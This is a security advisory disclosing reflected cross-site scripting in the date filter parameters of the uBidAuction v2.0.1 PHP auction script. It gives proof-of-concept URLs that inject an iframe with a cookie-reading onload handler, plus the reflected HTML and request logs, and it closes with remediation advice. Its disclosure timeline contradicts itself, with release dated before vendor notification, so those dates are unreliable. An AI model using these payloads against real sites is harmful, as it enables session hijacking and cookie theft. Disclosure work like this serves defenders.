Document Title: =============== uBidAuction v2.0.1 - Multiple XSS Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2289 Release Date: ============= 2022-01-21 Vulnerability Laboratory ID (VL-ID): ==================================== 2289 Common Vulnerability Scoring System: ==================================== 5.4 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== uBidAuction is a powerful, scalable & fully-featured classic and bid auction software that lets create the ultimate profitable online auctions website. It allows to manage entire online auction operation: create new auctions within seconds, view members auctions and use the auction extension settings tool. (Copy of the Homepage:https://www.apphp.com/codemarket/items/48/ubidauction-php-classic-and-bid-auctions-script ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple non-persistent cross site web vulnerabilities in the uBidAuction v2.0.1 script web-application. Affected Product(s): ==================== ApPHP Product: uBidAuction v2.0.1 - Auction Script (PHP) (Web-Application) Product: ApPHP MVC Framework v1.2.2 (Framework) Vulnerability Disclosure Timeline: ================================== 2022-09-01: Researcher Notification & Coordination (Security Researcher) 2022-09-02: Vendor Notification (Security Department) 2022-09-07: Vendor Response/Feedback (Security Department) 2022-**-**: Vendor Fix/Patch (Service Developer Team) 2022-**-**: Security Acknowledgements (Security Department) 2022-01-21: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Pre Auth (No Privileges or Session) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ Multiple non-persistent cross site web vulnerabilities has been discovered in the official uBidAuction v2.0.1 script web-application. The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to web-application requests from the client-side. The cross site web vulnerabilities are located in the `date_created`, `date_from`, `date_to` and `created_at` parameters of the `filter` web module. The injection point is located in the parameters and the execution occurs in the filter module. The request method to inject the malicious script code is GET and the attack vector of the vulnerability is non-persistent on client-side. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Request Method(s): [+] GET Vulnerable Module(s): [+] ./orders/myOrders [+] ./auctions/myAuctions/status/active [+] ./auctions/myAuctions/status/loose [+] ./posts/manage [+] ./news/manage [+] ./tickets/manage [+] ./auctions/manage [+] ./backend/mailingLog/manage Vulnerable Parameter(s): [+] date_created [+] date_from [+] date_to [+] created_at Affected Module(s): [+] Filter Proof of Concept (PoC): ======================= The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction. For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue. Exploitation: Payload "><iframe+src%3Devil.source+onload</iframe> Exploitation: PoC (Role: Member) https://bid-auction.localhost:8080/orders/myOrders?order_number=1&created_at=%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&status=0&but_filter=Filter https://bid-auction.localhost:8080/auctions/myAuctions/status/active?auction_number=test1&name=test2&date_from="><iframe+src%3Devil.source+onload&date_to="><iframe+src%3Devil.source https://bid-auction.localhost:8080/auctions/myAuctions/status/active?auction_number=1&name=a&date_from=%22%3E%3Ciframe+src%3Devil.source+onload&date_to=b&auction_type_id=&category_id=&status=&but_filter=Filter https://bid-auction.localhost:8080/auctions/myAuctions/status/active?auction_number=1&name=a&date_from=a&date_to=%22%3E%3Ciframe+src%3Devil.source+onload&auction_type_id=&category_id=&status=&but_filter=Filter https://bid-auction.localhost:8080/auctions/myAuctions/status/loose?auction_number=1&name=a&date_from=a&date_to=%22%3E%3Ciframe+src%3Devil.source+onload&auction_type_id=&category_id=&status=&but_filter=Filter https://bid-auction.localhost:8080/auctions/myAuctions/status/loose?auction_number=1&name=a&date_from=%22%3E%3Ciframe+src%3Devil.source+onload&date_to=b&auction_type_id=&category_id=&status=&but_filter=Filter Exploitation: PoC (Role: Admin) https://bid-auction.localhost:8080/posts/manage?post_header=1&created_at=%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&but_filter=Filter https://bid-auction.localhost:8080/news/manage?news_header=1&created_at=%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E&but_filter=Filter https://bid-auction.localhost:8080/tickets/manage?topic=a&message=a&first_name%2Clast_name=a&departments=0&status=1&date_created=%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&but_filter=Filter https://bid-auction.localhost:8080/tickets/manage/status/opened?topic=a&message=a&first_name%2Clast_name=a&departments=0&status=0&date_created=%22%3E%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&but_filter=Filter https://bid-auction.localhost:8080/auctions/manage?auction_number=1&name=a&date_from=%22%3E%3Ciframe+src%3Devil.source+onload&date_to=%22%3E%3Ciframe+src%3Devil.source+onload&auction_type_id=1&category_id=4&status=0&but_filter=Filter https://bid-auction.localhost:8080/backend/mailingLog/manage?email_subject=a&email_content=b&email_from=c&email_to=d&sent_at=%22%3E%3Ciframe+src%3Devil.source+onload&status=&but_filter=Filter Vulnerable Source: ./mailingLog <div class="content"> <a href="posts/add" class="add-new">Add Post</a><div class="filtering-wrapper"> <form id="frmFilterPosts" action="posts/manage" method="get"> Post Header: <input id="post_header" style="width:100px;" maxlength="255" type="text" value="avd" name="post_header"> Date Created: <input id="created_at" maxlength="255" style="width:80px;" type="text" value=""><iframe src="evil.source" onload="alert(document.cookie)">" name="created_at" /><div class="buttons-wrapper"> <input name="" class="button white" onclick="jQuery(location).attr('href','https://bid-auction.localhost:8080/posts/manage');" type="button" value="Cancel" /> <input name="but_filter" type="submit" value="Filter" /> </div></form></div> --- PoC Session Logs (GET) --- https://bid-auction.localhost:8080/auctions/myAuctions/status/active?auction_number=test1&name=test2&date_from="><iframe+src%3Devil.source+onload&date_to="><iframe+src%3Devil.source+onload&auction_type_id=1&category_id=1&status=&but_filter=Filter Host:www.bid-auction-script.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Referer:https://bid-auction.localhost:8080/auctions/myAuctions Cookie: apphp_2j9tuqddrg=v1as9gj4qqhakbpgthnrs34np7 - GET: HTTP/1.1 200 OK Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4542 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Reference(s): https://bid-auction.localhost:8080/posts/manage https://bid-auction.localhost:8080/orders/myOrders https://bid-auction.localhost:8080/backend/mailingLog/manage https://bid-auction.localhost:8080/auctions/myAuctions/status/loose https://bid-auction.localhost:8080/auctions/myAuctions/status/active Solution - Fix & Patch: ======================= The vulnerability can be resolved by a filter or secure encode of the vulnerable date_created, date_from, date_to and created_at parameters. Disallow the usage of special chars in the affected parameters on get method requests. Sansitize the vulnerable output location to resolve the point of execution in the filter module. Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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